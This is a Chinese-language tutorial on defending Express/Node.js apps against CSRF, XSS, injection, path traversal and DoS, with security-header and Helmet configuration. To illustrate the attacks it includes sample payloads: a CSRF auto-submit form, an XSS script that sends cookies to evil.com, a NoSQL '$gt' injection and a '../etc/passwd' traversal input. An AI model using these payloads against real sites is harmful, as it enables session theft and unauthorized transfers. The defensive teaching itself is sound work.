跳至主要內容
Skip to content

常見攻擊與防禦:CSRF、XSS 與安全 Headers

安全是 Web 開發的重中之重。本篇將介紹最常見的攻擊手法和防禦措施。


一、 CSRF(跨站請求偽造)

1.1 攻擊原理

CSRF 利用瀏覽器自動發送 Cookie 的特性:

1.2 攻擊範例

html
<!-- evil.com 的頁面 -->
<html>
  <body onload="document.forms[0].submit()">
    <form action="https://bank.com/transfer" method="POST">
      <input type="hidden" name="to" value="attacker-account" />
      <input type="hidden" name="amount" value="10000" />
    </form>
  </body>
</html>

1.3 防禦方法

1. CSRF Token

javascript
// 生成 Token
const csrfToken = crypto.randomBytes(32).toString("hex");
req.session.csrfToken = csrfToken;

// 嵌入表單
app.get("/form", (req, res) => {
  res.send(`
    <form method="POST" action="/transfer">
      <input type="hidden" name="_csrf" value="${req.session.csrfToken}">
      <input name="to">
      <input name="amount">
      <button>Submit</button>
    </form>
  `);
});

// 驗證 Token
app.post("/transfer", (req, res) => {
  if (req.body._csrf !== req.session.csrfToken) {
    return res.status(403).send("Invalid CSRF token");
  }
  // 處理請求...
});
javascript
res.cookie("session", token, {
  httpOnly: true,
  secure: true,
  sameSite: "strict", // 或 'lax'
});

3. 驗證 Origin/Referer

javascript
function csrfProtection(req, res, next) {
  const origin = req.headers.origin || req.headers.referer;

  if (!origin || !allowedOrigins.includes(new URL(origin).origin)) {
    return res.status(403).send("Invalid origin");
  }

  next();
}

4. 使用 csurf 套件

javascript
const csurf = require("csurf");
const csrfProtection = csurf({ cookie: true });

app.use(cookieParser());
app.use(csrfProtection);

// 獲取 Token
app.get("/form", (req, res) => {
  res.render("form", { csrfToken: req.csrfToken() });
});

二、 XSS(跨站腳本攻擊)

2.1 攻擊類型

類型說明範例
Stored XSS惡意腳本存入資料庫留言板注入
Reflected XSS惡意腳本在 URL 中搜尋結果反射
DOM-based XSS客戶端 JavaScript 漏洞前端直接操作 DOM

2.2 攻擊範例

Stored XSS

javascript
// 用戶發表留言
// 惡意內容:<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

// 如果直接輸出:
app.get("/comments", async (req, res) => {
  const comments = await Comment.find();
  res.send(`
    <div>
      ${comments.map((c) => `<p>${c.content}</p>`).join("")}
    </div>
  `);
  // 惡意腳本會被執行!
});

Reflected XSS

javascript
// URL: /search?q=<script>alert('XSS')</script>

app.get("/search", (req, res) => {
  res.send(`<h1>搜尋:${req.query.q}</h1>`);
  // 腳本被執行!
});

2.3 防禦方法

1. 輸出編碼

javascript
const escapeHtml = require("escape-html");

app.get("/search", (req, res) => {
  res.send(`<h1>搜尋:${escapeHtml(req.query.q)}</h1>`);
  // <script> 變成 &lt;script&gt;
});

2. 使用安全的模板引擎

javascript
// EJS、Pug 等模板引擎預設會轉義
// EJS
<h1><%= userInput %></h1>  // 自動轉義

// ⚠️ 危險:不轉義輸出
<h1><%- userInput %></h1>  // 不要用於用戶輸入!

3. Content Security Policy (CSP)

javascript
app.use((req, res, next) => {
  res.setHeader(
    "Content-Security-Policy",
    "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
  );
  next();
});

4. 輸入驗證

javascript
const sanitizeHtml = require("sanitize-html");

// 只允許安全的 HTML 標籤
const clean = sanitizeHtml(userInput, {
  allowedTags: ["b", "i", "em", "strong", "a"],
  allowedAttributes: {
    a: ["href"],
  },
});
javascript
// 即使有 XSS 漏洞,也無法竊取 Cookie
res.cookie("session", token, { httpOnly: true });

三、 安全 Headers

3.1 使用 Helmet

javascript
const helmet = require("helmet");
app.use(helmet());

3.2 重要 Headers 詳解

Content-Security-Policy (CSP)

http
Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://trusted-cdn.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  form-action 'self';
指令說明
default-src預設來源
script-srcJavaScript 來源
style-srcCSS 來源
img-src圖片來源
connect-srcAJAX/WebSocket 來源
frame-ancestors誰可以 iframe
form-action表單提交目標
javascript
app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "https://trusted-cdn.com"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:", "https:"],
      connectSrc: ["'self'", "https://api.example.com"],
      frameAncestors: ["'none'"],
      formAction: ["'self'"],
    },
  })
);

X-Frame-Options

防止 Clickjacking:

http
X-Frame-Options: DENY
javascript
app.use(helmet.frameguard({ action: "deny" }));

X-Content-Type-Options

防止 MIME 類型嗅探:

http
X-Content-Type-Options: nosniff
javascript
app.use(helmet.noSniff());

Strict-Transport-Security (HSTS)

強制使用 HTTPS:

http
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
javascript
app.use(
  helmet.hsts({
    maxAge: 31536000,
    includeSubDomains: true,
    preload: true,
  })
);

X-XSS-Protection

http
X-XSS-Protection: 1; mode=block

NOTE

現代瀏覽器已不推薦使用,CSP 是更好的選擇。

Referrer-Policy

控制 Referer 標頭:

http
Referrer-Policy: strict-origin-when-cross-origin
javascript
app.use(helmet.referrerPolicy({ policy: "strict-origin-when-cross-origin" }));

四、 其他常見攻擊

4.1 SQL Injection

javascript
// ❌ 危險
const query = `SELECT * FROM users WHERE id = ${userId}`;

// ✅ 安全:參數化查詢
const users = await db.query("SELECT * FROM users WHERE id = ?", [userId]);

// ✅ 安全:ORM
const user = await User.findById(userId);

4.2 NoSQL Injection

javascript
// ❌ 危險
const user = await User.findOne({ email: req.body.email });
// 如果 email 是 { "$gt": "" },會返回所有用戶!

// ✅ 安全:類型驗證
const email = String(req.body.email);
const user = await User.findOne({ email });

// ✅ 安全:使用 Joi 驗證
const { email } = Joi.object({
  email: Joi.string().email().required(),
}).validate(req.body);

4.3 Path Traversal

javascript
// ❌ 危險
app.get("/files/:name", (req, res) => {
  res.sendFile(`/uploads/${req.params.name}`);
});
// 如果 name 是 ../../../etc/passwd...

// ✅ 安全
const path = require("path");

app.get("/files/:name", (req, res) => {
  const safePath = path.basename(req.params.name); // 移除路徑
  const fullPath = path.join(__dirname, "uploads", safePath);

  // 確保在 uploads 目錄內
  if (!fullPath.startsWith(path.join(__dirname, "uploads"))) {
    return res.status(403).send("Access denied");
  }

  res.sendFile(fullPath);
});

4.4 Denial of Service (DoS)

javascript
// 請求限流
const rateLimit = require("express-rate-limit");

app.use(
  rateLimit({
    windowMs: 15 * 60 * 1000, // 15 分鐘
    max: 100, // 最多 100 次請求
    message: "Too many requests",
  })
);

// Body 大小限制
app.use(express.json({ limit: "10kb" }));

// 請求超時
app.use((req, res, next) => {
  req.setTimeout(30000, () => {
    res.status(408).send("Request timeout");
  });
  next();
});

五、 安全最佳實踐清單

5.1 認證與授權

markdown
□ 使用強密碼雜湊(bcrypt, argon2)
□ 實作登入失敗鎖定
□ 敏感操作要求重新認證
□ 實作最小權限原則
□ Token 設置合理過期時間

5.2 資料驗證

markdown
□ 所有輸入都要驗證
□ 輸出時進行編碼
□ 使用白名單而非黑名單
□ 限制檔案上傳類型和大小

5.3 傳輸安全

markdown
□ 使用 HTTPS
□ 設置 HSTS
□ Cookie 設置 Secure 標誌
□ 敏感資料不放在 URL

5.4 錯誤處理

markdown
□ 生產環境不顯示堆疊追蹤
□ 錯誤訊息不洩露系統資訊
□ 記錄安全相關事件

六、 完整安全配置範例

javascript
const express = require("express");
const helmet = require("helmet");
const rateLimit = require("express-rate-limit");
const mongoSanitize = require("express-mongo-sanitize");
const xss = require("xss-clean");
const hpp = require("hpp");

const app = express();

// 安全標頭
app.use(helmet());

// 限流
app.use(
  "/api",
  rateLimit({
    max: 100,
    windowMs: 60 * 60 * 1000,
    message: "Too many requests from this IP",
  })
);

// Body 解析限制
app.use(express.json({ limit: "10kb" }));

// NoSQL 注入防護
app.use(mongoSanitize());

// XSS 清理
app.use(xss());

// 防止參數污染
app.use(hpp());

// CORS
app.use(
  cors({
    origin: ["https://myapp.com"],
    credentials: true,
  })
);

// CSP
app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:", "https:"],
      connectSrc: ["'self'", "https://api.myapp.com"],
      frameAncestors: ["'none'"],
    },
  })
);

// 錯誤處理
app.use((err, req, res, next) => {
  console.error(err.stack);

  res.status(err.status || 500).json({
    error:
      process.env.NODE_ENV === "production"
        ? "Something went wrong"
        : err.message,
  });
});

總結

攻擊防禦
CSRFCSRF Token + SameSite Cookie
XSS輸出編碼 + CSP + HttpOnly
SQL Injection參數化查詢
ClickjackingX-Frame-Options
MIME 嗅探X-Content-Type-Options

> **安全不是選項,是必需**。使用 `helmet` 作為基礎,根據需求調整配置。


進階挑戰

  1. 設置一個嚴格的 CSP 政策,讓你的網站完全不執行內聯腳本。
  2. 研究 Subresource Integrity (SRI),確保 CDN 資源的完整性。
  3. 實作一個安全審計日誌系統,記錄所有敏感操作。

延伸閱讀與資源